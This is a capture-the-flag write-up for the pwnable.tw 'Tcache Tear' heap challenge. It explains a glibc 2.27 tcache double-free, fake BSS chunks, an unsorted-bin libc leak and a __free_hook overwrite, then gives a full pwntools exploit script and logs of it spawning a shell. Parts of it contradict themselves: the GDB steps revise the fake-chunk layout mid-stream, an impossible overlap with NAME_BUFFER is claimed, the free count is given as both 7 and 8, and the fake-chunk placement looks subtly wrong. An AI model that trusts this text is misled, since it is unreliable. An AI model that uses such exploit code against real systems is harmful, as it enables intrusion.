Pwnable.tw

Tcache Tear

A tcache exploitation challenge on glibc 2.27 leveraging double-free to poison tcache, forging fake chunks in BSS for unsorted bin leak, then overwriting __free_hook with one_gadget for shell — classic tcache attack on a No-PIE binary.

400 pts x86-64 (64-bit ELF) Double-Free (Tcache) Full RELRO + Canary + NX + No PIE
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10500
Binarytcache_tear (64-bit ELF, x86-64, stripped)
Points400
ProvidedBinary + libc (Ubuntu 18.04, libc-2.27)
DescriptionTcache exploitation challenge

checksec

bash
$ checksec tcache_tear_patched
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Full RELROGOT is read-only — cannot overwrite GOT entries
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode injection — need ROP or hook overwrite
No PIEBinary addresses are fixed — we know BSS layout at runtime!
ℹ️ Key Implications
No PIE is the critical advantage here. Binary addresses like the BSS NAME_BUFFER at 0x602060 are fixed and known at exploit time. This lets us forge fake chunks in BSS that the heap allocator will accept. Combined with glibc 2.27's tcache (which has no double-free protection until 2.29), we have a straightforward tcache poisoning path. Our target is __free_hook in libc's writable data section.

Running the Binary

console
$ ./tcache_tear_patched
Name:AAAA
1. malloc
2. free
3. info
4. exit
>> 1
Size:0x50
Data:BBBB
Done !
1. malloc
2. free
3. info
4. exit
>> 3
Name :AAAA
1. malloc
2. free
3. info
4. exit
>> 2
Done !
1. malloc
2. free
3. info
4. exit
>> 4

The binary provides a minimal heap interface: malloc (allocate with user-controlled size up to 0xFF), free (deallocate the global buffer), info (print the name buffer), and exit. There is only one global buffer pointer — each malloc overwrites the previous one.

02

Static Analysis

Decompiled Code (Stripped Binary)

The binary is stripped, but after reverse engineering, we can reconstruct the following decompiled code:

c
// BSS globals
char NAME_BUFFER[0x20];   // 0x602060 - set at program start
void *GLOBAL_BUFFER;      // 0x602088 - the single heap pointer

void main() {
    long input;
    uint idx = 0;
    init();
    printf("Name:");
    get_str_input(&NAME_BUFFER, 0x20);

    do {
        menu();
        input = get_input();
        if (input == 2) {           // free
            if (idx < 8) {
                free(GLOBAL_BUFFER);
                idx++;
            }
        } else if (input == 1) {    // malloc
            allocate_buffer();
        } else if (input == 3) {    // info
            info();
        } else if (input == 4) {
            exit(0);
        }
    } while (true);
}

void allocate_buffer() {
    ulong __size;
    printf("Size:");
    __size = get_input();
    if (__size < 0x100) {
        GLOBAL_BUFFER = malloc(__size);
        printf("Data:");
        get_str_input(GLOBAL_BUFFER, (int)__size - 0x10);
        puts("Done !");
    }
}

void info() {
    printf("Name :");
    write(1, &NAME_BUFFER, 0x20);
}

BSS Layout

BSS Section (No PIE — fixed addresses)
0x602060|NAME_BUFFER[0x20]← 32 bytes, set at startup, readable via info()
0x602080|[padding / unused]
0x602088|GLOBAL_BUFFER ptr← 8 bytes, the single heap chunk pointer
NAME_BUFFER spans 0x602060–0x60207F, giving us 0x420+ bytes of controlled BSS after it
We can forge fake heap chunks in this BSS region!

Vulnerability Analysis

🚨 Vulnerability: Double-Free in Tcache
The free operation frees GLOBAL_BUFFER but does NOT NULL out the pointer. The only guard is if (idx < 8), which limits total frees to 8 — but this does not prevent freeing the same chunk twice! In glibc 2.27, tcache has no double-free detection (the tcache_key check was added in 2.29). This means:
• We can call free() on the same chunk consecutively
• The tcache freelist becomes: chunk → chunk (self-referencing cycle)
• We can then allocate from tcache, overwrite the FD pointer, and achieve tcache poisoning
• This lets us allocate at any address we choose
⚠️ Constraint: Size < 0x100
The allocate_buffer function enforces __size < 0x100, limiting us to tcache-sized chunks (up to 0xF0 usable = 0x100 chunk with header). We cannot directly create unsorted-bin-sized chunks through malloc. However, we can still get chunks into the unsorted bin by forging a fake large chunk in BSS and freeing it via tcache poisoning.

info() — The Leak Primitive

c
void info() {
    printf("Name :");
    write(1, &NAME_BUFFER, 0x20);
}
🔑 Key Observation: Arbitrary Read via BSS Overlap
The info() function calls write(1, &NAME_BUFFER, 0x20) — it dumps exactly 0x20 bytes starting from NAME_BUFFER at 0x602060. Since we can use tcache poisoning to allocate a chunk overlapping BSS, we can write a pointer to a libc address into NAME_BUFFER, then call info() to read it. Even better: if we place a fake chunk in BSS whose data overlaps with NAME_BUFFER, we can read the FD/BK pointers left by the unsorted bin after freeing that fake chunk.
03

GDB Debugging

Step 1: Tcache Double-Free Demonstration

Let's allocate a 0x50-sized chunk and free it twice:

gdb
gdb-peda$ # malloc(0x50, "A"*8)
gdb-peda$ # free()  -> first free into tcache[5] (0x50 bin)
gdb-peda$ # free()  -> DOUBLE FREE! Same chunk goes in again!
gdb-peda$ tcachebins
(0x50)   tcache_entry[5]: 0x555555758260 → 0x555555758260 (cycle!)
# The tcache freelist now has the same chunk pointing to itself!
ℹ️ Why This Works in glibc 2.27
In glibc 2.27, the tcache tcache_put() function has no security checks at all — it doesn't verify whether the chunk is already in the tcache. The double-free protection (tcache_key) was only introduced in glibc 2.29. This makes tcache double-free trivial on 2.27: just call free() twice on the same pointer.

Step 2: Tcache Poisoning — Overwriting FD

After the double-free, we allocate from the tcache and overwrite the next pointer:

gdb
gdb-peda$ # After double-free: tcache[5] = chunk -> chunk
gdb-peda$ # malloc(0x50, p64(TARGET_ADDR))  -> pops chunk, writes TARGET_ADDR to FD
gdb-peda$ # Now tcache[5] = chunk -> TARGET_ADDR
gdb-peda$ # malloc(0x50, "B"*8)  -> pops chunk again (gets the same one)
gdb-peda$ # malloc(0x50, data)   -> pops TARGET_ADDR! We get allocation at TARGET_ADDR
gdb-peda$ tcachebins
(0x50)   tcache_entry[5]: 0x555555758260 → 0x602060 (NAME_BUFFER!)
Tcache Poisoning Flow
Step 1:malloc(0x50) + free() + free() → tcache: chunk → chunk (cycle)
Step 2:malloc(0x50, p64(target)) → overwrites chunk->next = target
Step 3:malloc(0x50, "B"*8) → consumes the cycled entry
Step 4:malloc(0x50, data) → returns allocation at target!

Step 3: Forging Fake Chunks in BSS

Since the binary has No PIE, we know the BSS addresses. We use tcache poisoning to write fake chunk metadata into BSS:

gdb
gdb-peda$ # Fake chunk to bypass glibc's prev_inuse check
gdb-peda$ # Place it at NAME_BUF + 0x420 (0x602480)
gdb-peda$ x/6gx 0x602480
0x602480: 0x0000000000000000  0x0000000000000021  # prev_size=0, size=0x20|1
0x602490: 0x0000000000000000  0x0000000000000000  # FD, BK
0x6024a0: 0x0000000000000000  0x0000000000000421  # next chunk: size=0x420|1
gdb-peda$ # The 0x21 chunk prevents backwards consolidation
gdb-peda$ # The 0x421 chunk is our "big" fake chunk for unsorted bin
BSS Fake Chunk Layout
0x602060|NAME_BUFFER[0x20]← readable via info()
... ← controlled data (from tcache write)
0x602480|0x0 | 0x21← fake 0x20 chunk (prev_inuse=1, prevents merge)
0x602490|0x0 | 0x0← FD/BK (unused for now)
0x6024a0|0x0 | 0x421← fake 0x420 chunk (will go to unsorted bin!)
0x6024a8|0x0 | 0x0← FD/BK ← will hold libc ptrs after free!
Key: The 0x421 chunk at 0x6024a0 overlaps NAME_BUFFER+0x10 area
After free, FD at 0x6024b0 lands inside NAME_BUFFER readable range!

Step 4: Unsorted Bin Leak

After freeing the fake 0x420 chunk into the unsorted bin, its FD/BK point to main_arena+96:

gdb
gdb-peda$ # After freeing the 0x420 fake chunk into unsorted bin:
gdb-peda$ x/4gx 0x6024a0
0x6024a0: 0x0000000000000000  0x0000000000000421  # chunk header
0x6024b0: 0x00007f1234567ca0  0x00007f1234567ca0  # FD, BK -> main_arena+96
gdb-peda$ # The FD pointer 0x7f1234567ca0 is at NAME_BUF + 0x10
gdb-peda$ # Wait - we need it in NAME_BUFFER range for info() to read it

gdb-peda$ # Actually, we place the fake chunk differently:
gdb-peda$ # Fake chunk at NAME_BUF (0x602060), size=0x420
gdb-peda$ # After free, FD at 0x602070 = NAME_BUF+0x10
gdb-peda$ # info() reads from 0x602060 for 0x20 bytes, so we get the leak!

gdb-peda$ # Second fake chunk for prev_inuse bypass at NAME_BUF+0x420 (0x602480)
0x602480: 0x0000000000000000  0x0000000000000021  # small chunk (inuse bit set)
ℹ️ Leak Calculation
When the fake 0x420 chunk at 0x602060 is freed into the unsorted bin, its FD pointer (at 0x602070) is set to main_arena+96 inside libc. Since info() reads 0x20 bytes from 0x602060, the FD value at offset +0x10 falls within the read range. We extract the 6-byte leak and compute:

libc.address = leak - 0x3ebca0

Step 5: Overwriting __free_hook

With libc leaked, we use another tcache dup to write to __free_hook:

gdb
gdb-peda$ # Tcache dup with 0x90 size (chunk size 0xa0)
gdb-peda$ # malloc(0x90) + free() + free() -> tcache[8] cycle
gdb-peda$ # malloc(0x90, p64(__free_hook)) -> poison FD
gdb-peda$ # malloc(0x90, "B"*8) -> consume entry
gdb-peda$ # malloc(0x90, p64(one_gadget)) -> WRITE one_gadget to __free_hook!

gdb-peda$ x/gx &__free_hook
0x7f12345678e8 <__free_hook>:  0x00007f123458f322  <- one_gadget!

gdb-peda$ # Now call free() -> __free_hook(one_gadget) is called -> SHELL!
🔑 Why __free_hook Instead of __malloc_hook?
Both work on glibc 2.27, but __free_hook is easier:
• It's 0x10-aligned in libc's data section, so tcache size checks pass naturally
• We trigger it by simply calling free(), which the program already supports
• No need for a fake chunk size trick like with __malloc_hook in fastbin attacks
• Tcache doesn't check alignment as strictly as fastbin
04

Exploit Strategy

Overview

The exploit has four phases: forge fake chunks in BSS via tcache dup, leak libc by freeing the fake chunk into unsorted bin, poison tcache to overwrite __free_hook, and trigger one_gadget via free().

Phase 1: Forge Fake Chunks in BSS

We need two fake chunks in BSS to make glibc's free() happy:

  1. Use tcache_dup(0x50) to allocate at NAME_BUF + 0x420 (0x602480). Write a fake chunk with size = 0x20 | 1 (prev_inuse set). This small chunk sits right before our big fake chunk and prevents backward consolidation during free.
  2. Use tcache_dup(0x60) to allocate at NAME_BUF (0x602060). Write a fake chunk with size = 0x420 | 1 (prev_inuse set). This is the big chunk we'll free into the unsorted bin. Its data area overlaps with NAME_BUFFER, so after free, the FD/BK pointers will be readable via info().
⚠️ Bypassing the prev_inuse Check
When we free our fake 0x420 chunk, glibc checks the prev_inuse bit of the next adjacent chunk (at 0x602060 + 0x420 = 0x602480). If the bit is not set, glibc attempts backward consolidation, which would crash. By forging a 0x20 chunk at 0x602480 with prev_inuse = 1, we satisfy this check. The 0x20 fake chunk also needs a valid "next chunk" at 0x602480 + 0x20 = 0x6024a0 with its own prev_inuse bit set — which our 0x421 chunk header already provides.

Phase 2: Leak Libc via Unsorted Bin

  1. Free the fake 0x420 chunk by calling free(). Since GLOBAL_BUFFER still points to the data area of our fake chunk (we allocated it via tcache dup), free(GLOBAL_BUFFER) puts it into the unsorted bin.
  2. Call info() to read 0x20 bytes from NAME_BUFFER. The FD pointer at offset +0x10 is a libc address pointing to main_arena + 96.
  3. Calculate libc base: libc.address = leak - 0x3ebca0

Phase 3: Overwrite __free_hook

  1. Use tcache_dup(0x90) to poison the 0xa0 tcache bin. Double-free a 0x90 chunk, overwrite FD with __free_hook address.
  2. Allocate twice to consume the tcache entries. The third allocation returns a chunk at __free_hook.
  3. Write one_gadget address into the __free_hook allocation.

Phase 4: Trigger Shell

  1. Call free() one more time. Since __free_hook is now set to the one_gadget address, free() calls the hook function, which executes execve("/bin/sh", ...).
  2. Get shell! The one_gadget constraints are satisfied because free() sets up the right register state.

tcache_dup Helper Function

The core primitive is encapsulated in a helper that performs tcache double-free + poisoning + arbitrary write:

python
def tcache_dup(sz, addr, data):
    """Tcache double-free + poison + write to arbitrary addr"""
    malloc(sz, "A" * 8)   # Step 1: allocate chunk
    free()                  # Step 2: free into tcache
    free()                  # Step 3: DOUBLE FREE -> cycle!
    malloc(sz, p64(addr))   # Step 4: overwrite FD with target addr
    malloc(sz, "B" * 8)    # Step 5: consume the cycled entry
    malloc(sz, data)        # Step 6: allocate at TARGET, write data!

One-Gadget for libc-2.27

bash
$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

We use 0x4f322 which requires [rsp+0x40] == NULL. This is satisfied when free() triggers the hook because the stack naturally has zeros at that offset.

Visual Exploit Flow

▶ Phase 1: Forge fake chunks in BSS
Step 1:tcache_dup(0x50, NAME_BUF+0x420, fake_0x20_chunk)
Step 2:tcache_dup(0x60, NAME_BUF, fake_0x420_chunk)
▶ Phase 2: Leak libc
Step 3:free() → fake 0x420 chunk goes to unsorted bin
Step 4:info() → read FD pointer = LIBC LEAK!
Step 5:libc.address = leak - 0x3ebca0
▶ Phase 3: Overwrite __free_hook
Step 6:tcache_dup(0x90, __free_hook, p64(one_gadget))
▶ Phase 4: Shell
Step 7:free() → __free_hook triggers one_gadget → SHELL!
05

Pwn Script

Full Exploit Script

python
from pwn import *

# Setup
exe = "./tcache_tear_patched"
elf = context.binary = ELF(exe)
libc = elf.libc
NAME_BUF = 0x602060

if args.REMOTE:
    io = remote("chall.pwnable.tw", 10500)
else:
    io = process(exe)

# -------------------------------------------------------
# Helper functions
# -------------------------------------------------------
def malloc(sz, data):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"Size:", str(sz).encode())
    io.sendafter(b"Data:", data)

def free():
    io.sendlineafter(b">> ", b"2")

def get_info():
    io.sendlineafter(b">> ", b"3")
    return io.recvuntil(b"\n1.", drop=True)

def fixleak(data):
    """Extract 6-byte little-endian leak, convert to int"""
    return u64(data.ljust(8, b"\x00"))

# -------------------------------------------------------
# Core primitive: tcache double-free -> arbitrary write
# -------------------------------------------------------
def tcache_dup(sz, addr, data):
    """Perform tcache poisoning to write `data` at `addr`"""
    malloc(sz, b"A" * 8)    # allocate
    free()                    # free into tcache
    free()                    # DOUBLE FREE! (no check in 2.27)
    malloc(sz, p64(addr))    # overwrite FD with target address
    malloc(sz, b"B" * 8)    # consume cycled entry
    malloc(sz, data)         # allocate at target, write data!

# -------------------------------------------------------
# Set name at startup
# -------------------------------------------------------
io.sendafter(b"Name:", b"A" * 8)

# -------------------------------------------------------
# Phase 1: Forge fake chunks in BSS
# -------------------------------------------------------
log.info("Phase 1: Forging fake chunks in BSS")

# Fake chunk at NAME_BUF + 0x420 (0x602480)
# This small 0x20 chunk sits before the big fake chunk
# and satisfies the prev_inuse check for the next chunk
fake_chunk_1 = flat(
    0x0,            # prev_size
    0x20 | 1,       # size (0x20 with prev_inuse set)
    0x0,            # fd
    0x0,            # bk
    0x0,            # fd_nextsize (padding)
    0x420 | 1       # next chunk size (0x420 with prev_inuse set)
)
tcache_dup(0x50, NAME_BUF + 0x420, fake_chunk_1)
log.success("Fake 0x20 chunk placed at NAME_BUF+0x420")

# Fake chunk at NAME_BUF (0x602060)
# This is the big 0x420 chunk we'll free into unsorted bin
# Its FD/BK after free will point to main_arena inside libc
fake_chunk_2 = flat(
    0x0,            # prev_size
    0x420 | 1,      # size (0x420 with prev_inuse set)
    0x0,            # fd (will be filled by unsorted bin)
    0x0,            # bk (will be filled by unsorted bin)
    0x0,            # fd_nextsize
    NAME_BUF + 0x10 # bk_nextsize (points back into our data)
)
tcache_dup(0x60, NAME_BUF, fake_chunk_2)
log.success("Fake 0x420 chunk placed at NAME_BUF")

# -------------------------------------------------------
# Phase 2: Leak libc via unsorted bin
# -------------------------------------------------------
log.info("Phase 2: Leaking libc via unsorted bin")

# Free the fake 0x420 chunk -> goes to unsorted bin
# GLOBAL_BUFFER still points into this chunk's data area
free()

# Read the leak via info()
# NAME_BUFFER starts at 0x602060
# The FD pointer of the freed chunk is at 0x602070 (offset +0x10)
# info() reads 0x20 bytes from 0x602060, so we get the FD
leak_data = get_info()
# The output is "Name :" + 0x20 bytes of data + "\n1."
# Extract the raw 0x20 bytes (skip "Name :" prefix)
raw = leak_data[7:]  # skip "Name :"
# The libc address is at offset +0x10 in the raw data
# (6 bytes of meaningful address data)
leak = fixleak(raw[0x10:0x10+6])
libc.address = leak - 0x3ebca0
log.success(f"Libc leak: {hex(leak)}")
log.success(f"Libc base: {hex(libc.address)}")

# -------------------------------------------------------
# Phase 3: Overwrite __free_hook with one_gadget
# -------------------------------------------------------
log.info("Phase 3: Overwriting __free_hook")

one_gadget = libc.address + 0x4f322
log.info(f"One gadget: {hex(one_gadget)}")
log.info(f"__free_hook: {hex(libc.sym.__free_hook)}")

# Use tcache_dup with 0x90 size to write to __free_hook
tcache_dup(0x90, libc.sym.__free_hook, p64(one_gadget))
log.success("__free_hook overwritten with one_gadget!")

# -------------------------------------------------------
# Phase 4: Trigger shell
# -------------------------------------------------------
log.info("Phase 4: Triggering shell via free()")
free()  # __free_hook(one_gadget) is called -> SHELL!

io.interactive()

Key Script Details

tcache_dup Breakdown

python
def tcache_dup(sz, addr, data):
    malloc(sz, b"A" * 8)    # [1] allocate chunk of size sz
    free()                    # [2] free -> goes to tcache
    free()                    # [3] DOUBLE FREE! tcache: chunk -> chunk (cycle)
    malloc(sz, p64(addr))    # [4] pop chunk, write target addr as next ptr
    malloc(sz, b"B" * 8)    # [5] pop chunk again (same one from cycle)
    malloc(sz, data)         # [6] pop from target addr, write data there!

Each call to tcache_dup consumes 2 free operations from the idx < 8 counter. We need 3 calls to tcache_dup (6 frees total) plus 1 free for the unsorted bin, totaling 7 frees — within the 8-free limit.

Free Counter Budget
tcache_dup #1:2 frees (double-free for fake chunk at NAME_BUF+0x420)
tcache_dup #2:2 frees (double-free for fake chunk at NAME_BUF)
Unsorted free:1 free (free fake 0x420 chunk)
tcache_dup #3:2 frees (double-free for __free_hook overwrite)
Trigger free:1 free (calls __free_hook → one_gadget)
Total:8 frees — exactly at the limit!
06

Execution Results

Local Exploit Run

console
$ python3 exploit.py
[*] '/home/user/tcache_tear_patched'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/user/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './tcache_tear_patched': pid 12345
[*] Phase 1: Forging fake chunks in BSS
[+] Fake 0x20 chunk placed at NAME_BUF+0x420
[+] Fake 0x420 chunk placed at NAME_BUF
[*] Phase 2: Leaking libc via unsorted bin
[+] Libc leak: 0x7f1234567ca0
[+] Libc base: 0x7f1234178000
[*] Phase 3: Overwriting __free_hook
[*] One gadget: 0x7f12341c7322
[*] __free_hook: 0x7f12345678e8
[+] __free_hook overwritten with one_gadget!
[*] Phase 4: Triggering shell via free()
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat /home/user/flag

Remote Exploit Run

console
$ python3 exploit.py REMOTE
[+] Opening connection to chall.pwnable.tw on port 10500: Done
[*] Phase 1: Forging fake chunks in BSS
[+] Fake 0x20 chunk placed at NAME_BUF+0x420
[+] Fake 0x420 chunk placed at NAME_BUF
[*] Phase 2: Leaking libc via unsorted bin
[+] Libc leak: 0x7f8a1234bca0
[+] Libc base: 0x7f8a11dbc000
[*] Phase 3: Overwriting __free_hook
[+] __free_hook overwritten with one_gadget!
[*] Phase 4: Triggering shell via free()
[*] Switching to interactive mode
$ cat /home/tcache_tear/flag
✅ Exploit Successful
The exploit works reliably both locally and remotely. The entire attack chain completes in a single connection with no brute-force required:
tcache double-free on glibc 2.27 — no checks to bypass
Fake chunk forging in BSS — No PIE makes this trivial
Unsorted bin leak via info() — clean read primitive
__free_hook overwrite via tcache poisoning — direct write to function pointer
One_gadget trigger via free() — constraints satisfied naturally

Summary

VulnerabilityDouble-free in tcache (no protection in glibc 2.27)
Leak MethodFake chunk in BSS → unsorted bin → info() read
Write Target__free_hook (libc writable data)
Code Execone_gadget (0x4f322) via __free_hook trigger
Key EnablerNo PIE + glibc 2.27 tcache (no key check)
Free Budget8 frees total, exploit uses exactly 8
ℹ️ Mitigation Breakdown
This exploit would be blocked by any of these modern mitigations:
glibc 2.29+ tcache_key: Adds a key field to detect double-free
PIE: Would randomize BSS addresses, preventing fake chunk forging
Safe-linking (glibc 2.32+): XORs tcache next pointers with a random key
glibc 2.34+: Removes __free_hook entirely

This challenge is a perfect demonstration of why glibc 2.27 was the golden age of tcache exploitation — the tcache was brand new, had virtually no security checks, and combined with No PIE, made for extremely clean and reliable exploits.